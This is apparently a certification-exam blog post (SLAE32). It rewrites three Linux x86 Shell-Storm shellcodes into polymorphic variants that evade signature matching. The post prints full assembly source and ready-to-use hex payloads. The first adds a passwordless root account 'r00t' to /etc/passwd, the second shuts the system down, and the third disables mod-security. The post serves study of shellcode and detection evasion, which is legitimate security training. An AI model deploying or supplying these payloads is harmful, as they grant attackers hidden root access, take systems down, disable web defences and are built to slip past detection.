SLAE32 Assignment 6 – Creating polymorphic shellcode

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment6

Assignment tasks

The following tasks were given to the student:

  • Take up 3 shellcodes from Shell‐Storm and create polymorphic versions of them to beat pattern matching
  • The polymorphic versions cannot be larger 150% of the existing shellcode
  • Bonus points for making it shorter in length than original

Shellcode 1 – Create r00t user without password

Original shellcode can be extracted from http://shell-storm.org/shellcode/files/shellcode-211.php. Moreover, the original assembly file can be recovered from shellcode using ndisasm tool:

The following code shows original assembly code:

global _start

section .text
_start:
; open("/etc//passwd", OWRONLY | O_APPEND)
	push byte +0x5
	pop eax
	xor ecx,ecx
	push ecx
	push dword 0x64777373
	push dword 0x61702f2f
	push dword 0x6374652f
	mov ebx,esp
	mov cx,0x401
	int 0x80
	mov ebx,eax

; write(ebx, "r00t::0:0:::", 12)
	push byte +0x4
	pop eax
	xor edx,edx
	push edx
	push dword 0x3a3a3a30
	push dword 0x3a303a3a
	push dword 0x74303072
	mov ecx,esp
	push byte +0xc
	pop edx
	int 0x80

; close(ebx)
	push byte +0x6
	pop eax
	int 0x80

; exit()
	push byte +0x1
	pop eax
	int 0x80

The following image shows that binary compiled from original assembly code works as expected:

The following code shows the polymorphic assembly code:

; Filename: adduser_r00t_polymorphic.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

global _start

section .text
_start:
; open("//etc/passwd", OWRONLY | O_APPEND)
	xor eax, eax 		; Replaced
	push eax		; Replaced
	add eax, 5		; Replaced
	;push byte +0x5		; Removed
	;pop eax		; Removed
	;xor ecx,ecx		; Removed
	;push ecx		; Removed
	push dword 0x64777373	; Kept
	push dword 0x61702f63	; Replaced
	push dword 0x74652f2f	; Replaced
	mov ebx,esp		; Kept
	mov cx,0x401		; Kept
	int 0x80		; Kept
	xchg ebx,eax		; Replaced

; write(ebx, "r00t::0:0:::", 12)
	xor eax, eax		; Replaced
	push eax		; Replaced
	add eax, 0x4		; Replaced
	;push byte +0x4		; Removed
	;pop eax		; Removed
	;xor edx,edx		; Removed
	;push edx		; Removed
	push dword 0x3a3a3a30	; Kept
	push dword 0x3a303a3a	; Kept
	push dword 0x74303072	; Kept
	mov ecx,esp		; Kept
	;push byte +0xc		; Removed
	;pop edx		; Removed
	mov dl, 0xc		; Replaced
	int 0x80		; Kept

; close(ebx)
	mov al, 0x6		; Replaced
	;push byte +0x6		; Removed
	;pop eax		; Removed
	int 0x80		; Kept

; exit()
	mov al, 0x1		; Replaced
	;push byte +0x1		; Removed
	;pop eax		; Removed
	int 0x80		; Kept

The following image shows that binary compiled from modified assembly code works as expected:

Final result:

  • Original shellcode length: 69 bytes
\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xcd\x80\x89\xc3\x6a\x04\x58\x31\xd2\x52\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\x6a\x0c\x5a\xcd\x80\x6a\x06\x58\xcd\x80\x6a\x01\x58\xcd\x80
  • Modified shellcode length: 65 bytes
\x31\xc0\x50\x83\xc0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xcd\x80\x93\x31\xc0\x50\x83\xc0\x04\x68\x30\x3a\x3a\x3a\x68\x3a\x3a\x30\x3a\x68\x72\x30\x30\x74\x89\xe1\xb2\x0c\xcd\x80\xb0\x06\xcd\x80\xb0\x01\xcd\x80

Polymorphic shellcode is shorter than original!

Shellcode 2 – Shutdown now

Original shellcode can be extracted from http://shell-storm.org/shellcode/files/shellcode-876.php. Moreover, the original assembly file can be recovered from shellcode using ndisasm tool:

The following code shows original assembly code:

global _start

section .text
_start:
xor eax,eax
xor edx,edx
push eax
push word 0x682d
mov edi,esp
push eax
push byte +0x6e
mov word [esp+0x1],0x776f
mov edi,esp
push eax
push dword 0x6e776f64
push dword 0x74756873
push dword 0x2f2f2f6e
push dword 0x6962732f
mov ebx,esp
push edx
push esi
push edi
push ebx
mov ecx,esp
mov al,0xb
int 0x80

The following code shows the polymorphic assembly code:

; Filename: shutdown_now_polymorphic.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

global _start

section .text
_start:
xor eax,eax			; Kept
;xor edx,edx			; Removed
push eax			; Kept
push word 0x682d		; Kept
;mov edi,esp			; Removed
push eax			; Kept
push byte +0x6e			; Kept
mov word [esp+0x1],0x776f	; Kept
mov edi,esp			; Kept
push eax			; Kept
push dword 0x6e776f64		; Kept "nwod"
push dword 0x74756873		; Kept "tuhs"
push dword 0x2f2f6e69		; Modified "//ni"
push dword 0x62732f2f		; Modified "bs//"
mov ebx,esp			; Kept
push eax			; Modified
push eax			; Modified
push edi			; Kept
push ebx			; Kept
mov ecx,esp			; Kept
add al,0xb			; Modified
int 0x80			; Kept

Tests cannot be done because no evidences are available during reboot. However, the student has tested that modified shellcode works as expected. Final result:

  • Original shellcode length: 56 bytes
\x31\xc0\x31\xd2\x50\x66\x68\x2d\x68\x89\xe7\x50\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x50\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80
  • Modified shellcode length: 52 bytes
\x31\xc0\x50\x66\x68\x2d\x68\x50\x6a\x6e\x66\xc7\x44\x24\x01\x6f\x77\x89\xe7\x50\x68\x64\x6f\x77\x6e\x68\x73\x68\x75\x74\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x50\x57\x53\x89\xe1\x04\x0b\xcd\x80

Polymorphic shellcode is shorter than original!

Shellcode 3 – Disable modsecurity

Original shellcode can be extracted from http://shell-storm.org/shellcode/files/shellcode-578.php. Moreover, the original assembly file can be recovered from shellcode using ndisasm tool:

The following code shows original assembly code (note that two lines have been modified because of mod-security version on Ubuntu 12.04 is mod-security, not mod-security2):

global _start

section .text
_start:
xor eax,eax
push eax
cdq
push dword 0x646f6d73
push dword 0x69643261
push dword 0x2f6e6962
push dword 0x732f7273
push dword 0x752f2f2f
mov ebx,esp
push eax		; Added to original as Ubuntu 12.04 uses mod-security not mod-security2
;push byte +0x32	; Removed from original as Ubuntu 12.04 uses mod-security not mod-security2
push dword 0x79746972
push dword 0x75636573
push dword 0x2d646f6d
mov ecx,esp
xor edx,edx
mov al,0xb
push edx
push ecx
push ebx
mov ecx,esp
mov edx,esp
int 0x80

The following image shows that binary compiled from original assembly code works as expected:

The following code shows the polymorphic assembly code:

; Filename: disable_modsecurity_polymorphic.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification


global _start

section .text

_start:
xor eax,eax			; Kept
push eax			; Kept
cdq				; Kept
push dword 0x646f6d73		; Kept
push dword 0x69643261		; Kept
push dword 0x2f6e6962		; Kept
push dword 0x732f7273		; Kept
push dword 0x752f2f2f		; Kept
mov ebx,esp			; Kept

;push eax			; Removed
;push byte +0x32		; Removed
;push dword 0x79746972		; Removed
;push dword 0x75636573		; Removed
;push dword 0x2d646f6d		; Removed
jmp short call_modsec		; Added

continue:
; mov ecx,esp			; Removed
pop ecx				; Added
;xor edx,edx			; Removed
add al,0xb			; Modified
push edx			; Kept
push ecx			; Kept
push ebx			; Kept
mov ecx,esp			; Kept
;mov edx,esp			; Removed
int 0x80			; Kept

call_modsec:					; Added
	call continue				; Added
	modsec: db "mod-security", 0xA		; Added

The following image shows that binary compiled from modified assembly code works as expected:

Final result:

  • Original shellcode length: 63 bytes
\x31\xc0\x50\x99\x68\x73\x6d\x6f\x64\x68\x61\x32\x64\x69\x68\x62\x69\x6e\x2f\x68\x73\x72\x2f\x73\x68\x2f\x2f\x2f\x75\x89\xe3\x6a\x32\x68\x72\x69\x74\x79\x68\x73\x65\x63\x75\x68\x6d\x6f\x64\x2d\x89\xe1\x31\xd2\xb0\x0b\x52\x51\x53\x89\xe1\x89\xe2\xcd\x80
  • Modified shellcode length: 61 bytes
\x31\xc0\x50\x99\x68\x73\x6d\x6f\x64\x68\x61\x32\x64\x69\x68\x62\x69\x6e\x2f\x68\x73\x72\x2f\x73\x68\x2f\x2f\x2f\x75\x89\xe3\xeb\x0a\x59\x04\x0b\x52\x51\x53\x89\xe1\xcd\x80\xe8\xf1\xff\xff\xff\x6d\x6f\x64\x2d\x73\x65\x63\x75\x72\x69\x74\x79\x0a

Polymorphic shellcode is shorter than original!

~km0xu95